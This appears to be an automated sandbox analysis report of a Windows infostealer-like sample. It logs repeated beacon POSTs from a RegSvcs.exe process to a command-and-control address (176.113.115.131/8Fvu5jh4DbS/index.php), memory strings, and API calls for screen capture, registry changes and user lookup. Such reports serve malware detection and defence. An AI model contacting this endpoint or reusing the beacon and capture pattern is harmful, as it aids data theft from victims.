Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B

Source: Joe Sandbox View

ASN Name: SELECTELRU SELECTELRU

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.131

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_004105B0 Sleep,Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,

3_2_004105B0

Source: unknown

HTTP traffic detected: POST /8Fvu5jh4DbS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.131Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.php
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.php)-
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.php-
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.php0
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpD
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpE
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpJ
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpK
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpV
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpW-;
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpXNtM2ZDgETkWRZnZWM=
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpZ-
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpb
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpd
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpdK
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phped
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phped/
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpedY
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpj
Source: RegSvcs.exe, 00000003.00000002.4127608803.0000000001473000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpl
Source: RegSvcs.exe, 00000003.00000002.4127608803.0000000001407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpmmon
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpn-
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpq
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpw
Source: RegSvcs.exe, 00000003.00000002.4127608803.000000000144B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.131/8Fvu5jh4DbS/index.phpx
Source: powershell.exe, 00000000.00000002.1864550591.00000296DC2DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD63F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1840009085.00000296CBA71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.0.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD63F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1840009085.00000296CBA71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD63F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1840009085.00000296CCC64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1864550591.00000296DC2DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1840009085.00000296CD7B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000000.00000002.1840009085.00000296CD403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 3_2_004061F0 Sleep,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

3_2_004061F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9BAACF3C	0_2_00007FFD9BAACF3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_004061F0	3_2_004061F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0040B700	3_2_0040B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_004460F4	3_2_004460F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0043D169	3_2_0043D169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_004051A0	3_2_004051A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00444347	3_2_00444347
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00405450	3_2_00405450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0042B7C0	3_2_0042B7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0042F9DB	3_2_0042F9DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0043C9DD	3_2_0043C9DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB58	3_2_0045DB58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB7C	3_2_0045DB7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB10	3_2_0045DB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBDC	3_2_0045DBDC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBD8	3_2_0045DBD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBE4	3_2_0045DBE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBE0	3_2_0045DBE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBEC	3_2_0045DBEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBE8	3_2_0045DBE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBF4	3_2_0045DBF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBF0	3_2_0045DBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBFC	3_2_0045DBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DBF8	3_2_0045DBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB84	3_2_0045DB84
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB80	3_2_0045DB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB8C	3_2_0045DB8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0045DB88	3_2_0045DB88
